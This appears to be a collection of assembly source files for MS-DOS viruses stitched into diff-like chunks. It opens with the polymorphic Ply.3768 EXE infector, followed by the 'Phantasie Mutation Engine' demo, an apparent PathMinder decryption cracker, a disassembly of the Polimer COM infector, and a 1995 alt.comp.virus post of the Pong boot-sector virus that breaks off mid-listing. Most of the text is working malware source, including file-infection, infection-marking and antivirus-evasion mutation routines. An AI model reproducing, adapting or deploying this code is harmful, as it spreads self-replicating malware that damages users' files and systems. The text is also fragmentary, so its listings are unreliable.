pop dx ; Load DX from stack
nop
nop
mov ax,2524h ; Set interrupt vector 24h
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov ds,bx ; DS = segment of PSP for current ...
nop
mov ah,1ah ; Set disk transfer area address
nop
mov dx,80h ; DX = offset of default disk tran...
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
jmp virus_exit
open_file:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ax,(4f00h+2020h) ; Find next matching file
sub ax,2020h
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(3d02h+2020h) ; Open file (read/write)
sub ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+0c0h)
add dx,ax ; DX = stack pointer
nop
mov ax,1111111111111110b
and dx,ax ; DX = " "
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
int24_virus proc near ; Interrupt 24h of Ply.3768
mov al,03h ; Fail system call in progress
nop
jmp int24_exit
nop
endp
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov cx,bx ; CX = " " " " " "
nop
add cx,10h ; CX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],cx ; Add segment of beginning of code...
add cx,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
xor ax,ax ; Zero AX
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,cx ; SS = stack segment
sti ; Set interrupt-enable flag
push ax ; Save AX at stack
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
int24_exit:
iret ; Interrupt return!
db 00h,00h
file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin
@@ -0,0 +1,94 @@
; Phantasie Mutation Engine --- DEMO
; This program will generate 50 mutation programs.
; (C) Copyright 1995 Written by Burglar. All Rights Reserved.
; Made In Taiwan.
.MODEL TINY
.CODE
ORG 100H
EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to external module.
BEGIN:
MOV DX,OFFSET GEN_MSG
MOV AH,9
INT 21H
MOV CX,50
GEN:
PUSH CX
MOV DX,OFFSET FILENAME
PUSH CS
POP DS
XOR CX,CX
MOV AH,3CH
INT 21H
PUSH AX
MOV DX,OFFSET PROG ;DS:DX point to the head of program which you
;want to be mutation.
MOV CX,OFFSET PROG_END - OFFSET PROG ;CX hold the length of the
;program which you want to
;be mutation.
MOV BX,100H ;BX sets the beginning offset when execution.
PUSH SS
POP AX
ADD AX,1000H
MOV ES,AX ;ES point to a work segment.
;for putting decryption routine + encrypted code.
;just need the length of origin program + 512 bytes.
CALL PME ;OK! when every thing is okay, you can call the PME.
;When PME execute over, it will return :
;DS:DX -> decryption routine + encrypted code.
;CX -> length of the decryption routine + encrypted
;code. (always origin length + 512 bytes)
POP BX
MOV AH,40H
INT 21H
MOV AH,3EH
INT 21H
MOV BX,OFFSET FILENAME
INC BYTE PTR CS:BX+7
CMP BYTE PTR CS:BX+7,'9'
JBE L0
MOV BYTE PTR CS:BX+7,'0'
INC BYTE PTR CS:BX+6
L0:
POP CX
LOOP GEN
INT 20H
FILENAME DB '00000000.COM',0
GEN_MSG DB 'Generating 50 mutation programs... $'
PROG:
CALL $+3
POP DX
ADD DX,OFFSET MSG - OFFSET PROG - 3
MOV AH,9
INT 21H
INT 20H
MSG DB 'I am a mutation program.$'
PROG_END:
END BEGIN

@@ -0,0 +1,227 @@
START SEGMENT
ASSUME CS:START,DS:START
MOV BX,80H
MOV CH,0
MOV CL,[BX]
DEC CX
MOV SI,OFFSET KODOK+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILEN+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILECO+100H
CALL BET
JMP FOLYT
KILEP: INT 20H
FOLYT: MOV SI,OFFSET KODOK+100H
MOV BX,OFFSET KODTB+100H
CIKL1: MOV AL,[SI]
OR AL,AL
JZ FOLYT5
OR AL,20H
FOLYT5: CMP AL,[BX]
JZ FOLYTC
JMP KODER
FOLYTC: CMP AL,0
JZ FOLYT4
INC BX
INC SI
JMP CIKL1
FOLYT4: MOV AL,0
MOV AH,3DH
MOV DX,OFFSET FILECO+100H
INT 21H
JNC FOLYTD
JMP FILER
FOLYTD: PUSH AX
MOV BX,AX
MOV AH,3FH
MOV CX,100H
MOV DX,OFFSET IPUFF+100H
INT 21H
POP BX
JNC FOLYTE
JMP FILER
FOLYTE: MOV AH,3EH
INT 21H
JNC FOLYTF
JMP FILER
FOLYTF: MOV BX,OFFSET IPUFF+100H
MOV SI,OFFSET PMNAM+100H
CIKL2: MOV AL,[SI]
OR AL,AL
JZ FOLYT7
CMP AL,[BX]
JZ PMOK
JMP PMER
PMOK: INC BX
INC SI
JMP CIKL2
FOLYT7: MOV DI,OFFSET FILMO+100H
MOV DL,2
CIKL4: MOV SI,OFFSET FILEN+100H
MOV CX,13
REP MOVSB
DEC DL
JNZ CIKL4
FOLYTA: MOV BX,7
MOV CX,26
MOV AL,03FH
MOV AH,9
INT 10H
MOV BX,OFFSET IPUFF+157H
MOV CX,26
MOV SI,OFFSET FILMO+100H
MOV DI,OFFSET OPUFF+100H
MOV BYTE PTR [IRANY+100H],1
CIKL6: PUSH CX
MOV CL,0
CIKL5: MOV AL,[SI]
XOR AL,CL
ROR AL,CL
CMP AL,[BX]
JZ FOLYTB
CIKL9: ADD CL,BYTE PTR [IRANY+100H]
JNZ CIKL5
PUSH BX
PUSH CX
PUSH AX
MOV AX,0E07H
MOV BX,0
INT 10H
MOV AX,0E3FH
MOV BX,0
INT 10H
POP AX
POP CX
POP BX
JMP TASZT
FOLYTB: MOV [DI],CL
CMP CL,128
JC FOLYTG
JMP CIKL9
FOLYTG: CMP CL,20H
JC CIKL9
TASZT1: PUSH CX
PUSH BX
PUSH AX
MOV BX,0
MOV AL,CL
MOV AH,0EH
MOV CX,1
INT 10H
POP AX
POP BX
POP CX
TASZT: MOV AH,0
INT 16H
CMP AH,4BH
JZ BAL
CMP AH,4DH
JZ JOBB
CMP AH,48H
JZ FEL
CMP AH,50H
JZ LE1
CMP AH,1CH
JZ ESC1
JMP TASZT
LE1: CALL BALRA
MOV BYTE PTR [IRANY+100H],0FFH
JMP CIKL9
BALRA: PUSH BX
PUSH CX
PUSH AX
MOV AX,0E08H
MOV BX,0
INT 10H
POP AX
POP CX
POP BX
RET
FEL: CALL BALRA
MOV BYTE PTR [IRANY+100H],01H
JMP CIKL9
BAL: CALL BALRA
CMP BX,OFFSET IPUFF+157H
JNC BAL1
JMP CIKL9
BAL1: CALL BALRA
DEC BX
DEC SI
DEC DI
POP CX
INC CX
JMP CIKL6
JOBB: CMP BX,OFFSET IPUFF+157H+25
JC JOBB1
CALL BALRA
JMP CIKL9
JOBB1: INC BX
INC SI
INC DI
POP CX
DEC CX
JMP CIKL6
ESC1: POP CX
MOV AX,0E0DH
MOV BX,0
INT 10H
MOV AX,0E0AH
MOV BX,0
INT 10H
MOV BYTE PTR [OPUFF+100H+28],0
KILEP1: MOV SI,OFFSET OPUFF+100H
CALL KIIR
JMP KILEP
IRANY: DB 1
PMER: MOV SI,OFFSET PERR+100H
CALL KIIR
JMP KILEP
KODER: MOV SI,OFFSET KDERR+100H
CALL KIIR
JMP KILEP
FILER: MOV SI,OFFSET FERR+100H
CALL KIIR
JMP KILEP
KIIR: MOV AL,[SI]
CMP AL,0
JNZ FOLYT6
RET
FOLYT6: MOV AH,0EH
MOV BX,0
INT 10H
INC SI
JMP KIIR
BET: MOV AL,[BX+2]
CMP AL,20H
JNZ FOLYT2
MOV BYTE PTR [SI],0
INC BX
INC SI
LOOP FOLYT3
XOR AL,AL
FOLYT3: RET
FOLYT2: MOV [SI],AL
INC SI
INC BX
LOOP BET
MOV BYTE PTR [SI],0
XOR AL,AL
RET
PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0
FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0
PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0
KRERR: DB 'KERESESI HIBA',0DH,0AH,0
KDERR: DB 'KODOLASI HIBA',0DH,0AH,0
FILEN: DB 64 DUP (0)
FILECO: DB 64 DUP (0)
KODOK: DB 64 DUP (0)
KODTB: DB 'feri&bozo',0
IPUFF: DB 256 DUP (0)
FILMO: DB 30 DUP (0)
OPUFF: DB 32*64 DUP (0)
START ENDS
END

@@ -0,0 +1,274 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ POLIMER VIRUS ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disassembly by >> Wasp << a.k.a. Night Crawler. ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 5-Jan-92 ÛÛ
;ÛÛ Version: 1.0d ÛÛ
;ÛÛ Passes: 5 Analysis Options on: OW ÛÛ
;ÛÛ ÛÛ
;ÛÛ Reassemble with MASM 5.01 ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
ifidn <reg16>, <bx>
db 0BBh
endif
ifidn <reg16>, <cx>
db 0B9h
endif
ifidn <reg16>, <dx>
db 0BAh
endif
ifidn <reg16>, <si>
db 0BEh
endif
ifidn <reg16>, <di>
db 0BFh
endif
ifidn <reg16>, <bp>
db 0BDh
endif
ifidn <reg16>, <sp>
db 0BCh
endif
ifidn <reg16>, <BX>
db 0BBH
endif
ifidn <reg16>, <CX>
db 0B9H
endif
ifidn <reg16>, <DX>
db 0BAH
endif
ifidn <reg16>, <SI>
db 0BEH
endif
ifidn <reg16>, <DI>
db 0BFH
endif
ifidn <reg16>, <BP>
db 0BDH
endif
ifidn <reg16>, <SP>
db 0BCH
endif
dw seg Imm16
endm
DATA_1E EQU 80H
DATA_2E EQU 162H
DATA_3E EQU 16AH
DATA_4E EQU 0C0H
DATA_5E EQU 103H
DATA_6E EQU 128H
DATA_7E EQU 2B9H
DATA_8E EQU 0C0H
DATA_9E EQU 0C1H
DATA_10E EQU 0C8H
DATA_12E EQU 0CAH
DATA_14E EQU 0CCH
DATA_23E EQU 0
DATA_24E EQU 100H
DATA_25E EQU 200H
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
POLIMER PROC FAR
START:
JMP LOC_4 ; (0183)
DB 00H, 3FH
DB 7 DUP (3FH)
DB 43H, 4FH, 4DH, 00H, 1AH, 00H
DB 00H, 00H, 2EH,0F2H, 0CH, 2BH
DB 01H
DB 15 DUP (0)
DATA_18 DB 'A le', 27H, 'jobb kazetta a POLI'
DB 'MER kazetta ! Vegye ezt ! ', 0AH
DB 0DH, '$'
DB 'ERROR', 0AH, 0DH, '$'
DATA_19 DW 5
DATA_20 DW 18D8H
LOC_1:
MOV SI,DATA_7E
MOV DI,DATA_8E
MOV CX,30H
CLD ; Clear direction
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
JMP $-0BAH
LOC_2:
JMP LOC_10 ; (0296)
LOC_3:
JMP LOC_9 ; (028F)
LOC_4:
MOV AL,0
MOV AH,0EH
INT 21H ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
MOV DX,DATA_4E
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,DATA_6E
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
LOC_5:
MOV DX,DATA_5E
MOV AH,11H
INT 21H ; DOS Services ah=function 11h
; find filename, FCB @ ds:dx
TEST AL,AL
JNZ LOC_2 ; Jump if not zero
LOC_6:
MOV WORD PTR DS:DATA_14E,2424H
MOV AX,DS:DATA_12E
MOV WORD PTR DS:DATA_12E+1,AX
MOV AX,DS:DATA_10E
MOV AL,2EH ; '.'
MOV WORD PTR DS:DATA_10E+1,AX
MOV AL,2
MOV DX,DATA_9E
MOV AH,3DH ; '='
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JC LOC_3 ; Jump if carry Set
MOV DATA_19,AX
MOV BX,DATA_19
MOV CX,0
MOV DX,0
MOV AL,2
MOV AH,42H ; 'B'
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_3 ; Jump if carry Set
MOV DATA_20,AX
MOV BX,DATA_19
MOV CX,0
MOV DX,0
MOV AL,0
MOV AH,42H ; 'B'
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_3 ; Jump if carry Set
MOV BX,DATA_19
MOV CX,200H
MOV DX,DATA_23E
MOV AX,DS
ADD AX,1000H
MOV DS,AX
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV CX,80H
CLD ; Clear direction
MOV SI,DATA_24E
MOV DI,OFFSET DS:[200H]
REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
JZ LOC_8 ; Jump if zero
MOV BX,CS:DATA_19
MOV CX,CS:DATA_20
SUB CX,200H
MOV DX,DATA_25E
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV AX,DS
SUB AX,1000H
MOV DS,AX
MOV BX,DATA_19
MOV CX,0
MOV DX,0
MOV AL,0
MOV AH,42H ; 'B'
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV BX,DATA_19
MOV DX,OFFSET DS:[100H]
MOV CX,200H
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
MOV BX,DATA_19
MOV DX,DATA_23E
MOV CX,DATA_20
MOV AX,DS
ADD AX,1000H
MOV DS,AX
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
MOV AX,DS
SUB AX,1000H
MOV DS,AX
MOV BX,DATA_19
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP SHORT LOC_10 ; (0296)
DB 90H
LOC_7:
MOV DX,DATA_5E
MOV AH,12H
INT 21H ; DOS Services ah=function 12h
; find next filenam, FCB @ds:dx
TEST AL,AL
JNZ LOC_10 ; Jump if not zero
JMP LOC_6 ; (01A2)
LOC_8:
MOV AX,DS
SUB AX,1000H
MOV DS,AX
MOV BX,DS:DATA_3E
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP SHORT LOC_7 ; (0270)
LOC_9:
MOV DX,DATA_2E
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
LOC_10:
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
TEST AL,AL
JNZ LOC_11 ; Jump if not zero
MOV DL,2
MOV AH,0EH
INT 21H ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
TEST AL,AL
JZ LOC_11 ; Jump if zero
JMP LOC_5 ; (0197)
LOC_11:
MOV DX,DATA_1E
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
JMP LOC_1 ; (016E)
DB 0BEH, 00H, 03H
DB 0BFH, 00H, 01H,0B9H, 00H,0FDH
DB 0FCH,0F3H,0A4H,0EBH
DB 32H, 90H
DB 56 DUP (0)
POLIMER ENDP
SEG_A ENDS
END START
+656
View File
@@ -0,0 +1,656 @@
From smtp Tue Feb 7 13:15 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
Date: Tue, 7 Feb 1995 13:17:17 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 22178
Content-Type: text
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Pong
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: Pong
Date: 5 Feb 1995 21:56:02 GMT
Organization: International Internet Association.
Lines: 624
Message-ID: <3h3hhi$sb@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the Pong virus:
; ORIGININ ADDRESS -7C00H
RAM SEGMENT AT 0
; SYSTEM DATA
ORG 20H
INT8OF DW ? ; INTERRUPT 8 OFFSET
INT8SG DW ? ; INTERRUPT 8 SEGMENT
ORG 4CH
INT19O DW ? ; INTERRUPT 19 OFFSET
INT19S DW ? ; INTERRUPT 19 SEGMENT
ORG 413H
RAMSIZ DW ? ; TOTAL RAM SIZE
; BPB OF VIRUS BOOT RECORD
ORG 7C0BH
BYPSEC DW ? ; BYTES PER SECTOR
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
SECRES DW ? ; RESERVED SECTORS
FATNUM DB ? ; NUMBER OF FATS
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
SECNUM DW ? ; NUMBER OF SECTORS
MEDIAD DB ? ; MEDIA DESCRIPTOR
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
SECTRK DW ? ; SECTORS PER TRACK
HEDNUM DW ? ; NUMBER OF HEADS
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
; INTERRUPT 19 (13H) BRANCH ADDRESS
ORG 7D2AH
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
; INSTALLATION DATA AREA
ORG 7DF3H
CURFAT DW ? ; CURRENT FAT SECTOR
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCH DB ? ; SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LSTDRV DB ? ; DRIVE LAST USED
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
FLAG01 DW ? ; FLAG FIELD
; DATA AREA
ORG 7EB0H
LASTTM DW ? ; SYSTEM TIME LAST CALLED
PRCFAT DB ? ; PROCESSED FAT / 256
; INTERRUPT 8 BRANCH ADDRESS
ORG 7FC9H
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
; DISPLAY DATA AREA
ORG 7FCDH
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
GRAPHM DB ? ; GRAPHICS MODE SWITCH
MODEAP DW ? ; MODE AND ACTIVE PAGE
COLUMN DB ? ; VISIBLE COLUMNS - 1
; BPB OF ORIGINAL BOOT RECORD
ORG 800BH
BIPSEC DW ? ; BYTES PER SECTOR
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
VERVED DW ? ; RESERVED SECTORS
RUMNUM DB ? ; NUMBER OF FATS
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
NUOSEC DW ? ; NUMBER OF SECTORS
MIASET DB ? ; MEDIA DESCRIPTOR
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
TRASSC DW ? ; SECTORS PER TRACK
NUOHED DW ? ; NUMBER OF HEADS
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
ORG 81F5H
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LASTUS DB ? ; DRIVE LAST USED
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
LATER2 DB ? ; TYPE SWITCH
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START:
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
DB 'MSDOS3.2' ; OEM AND VERSION
DW 512 ; BYPSEC - BYTES PER SECTOR
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
DW 1 ; SECRES - RESERVED SECTORS
DB 2 ; FATNUM - NUMBER OF FATS
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
DW 720 ; SECNUM - NUMBER OF SECTORS
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
DW 9 ; SECTRK - SECTORS PER TRACK
DW 2 ; HEDNUM - NUMBER OF HEADS
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
; START OF PROCESSING
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
HIDE_ME_PLEASE:
XOR AX,AX
MOV SS,AX ; STACK SEGMENT ZERO
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
SUB AX,2 ; SUBTRACT 2K
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
MOV DI,SI ; COPY OFFSET FOR SOURCE
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
; THIS IS THE ILLEGAL OPCODE!
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
CALL SET_IT_UP
SET_IT_UP:
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
INT 13H ; DISK INTERRUPT
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK ONE SECTOR
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
CALL READ_IT_IN ; READ REST OF CODE
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
INC BX ; ADDRESS TO BOOT SECTOR STORE
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
CALL READ_IT_IN ; READ REAL BOOT SECTOR
XOR AX,AX
MOV SWITCH,AL ; SET OFF ALL SWITCHES
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,INT19O ; SAVE INT 19 OFFSET
MOV BX,INT19S ; SAVE INT 19 SEGMENT
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
MOV INT19S,CS ; NEW INT 19 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
MOV DL,LSTDRV ; GET DRIVE NUMBER
DB 0EAH ; FAR JUMP TO BOOT SECTOR
DW 7C00H, 0
WRITE_IT_OUT:
MOV AX,301H ; WRITE ONE SECTOR
JMP SHORT GET_SECTOR
READ_IT_IN:
MOV AX,201H ; READ ONE SECTOR
GET_SECTOR:
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
XOR DX,DX ; CLEAR FOR DIVISION
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
INC DL ; ADD ONE TO ODD SECTORS
MOV CH,DL ; SAVE SECTOR NUMBER
XOR DX,DX ; CLEAR FOR DIVISION
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
MOV CL,6 ; POSITIONS TO MOVE
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
OR AH,CH ; MOVE IN SECTOR NUMBER
MOV CX,AX ; MOVE TO CORRECT REGISTER
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
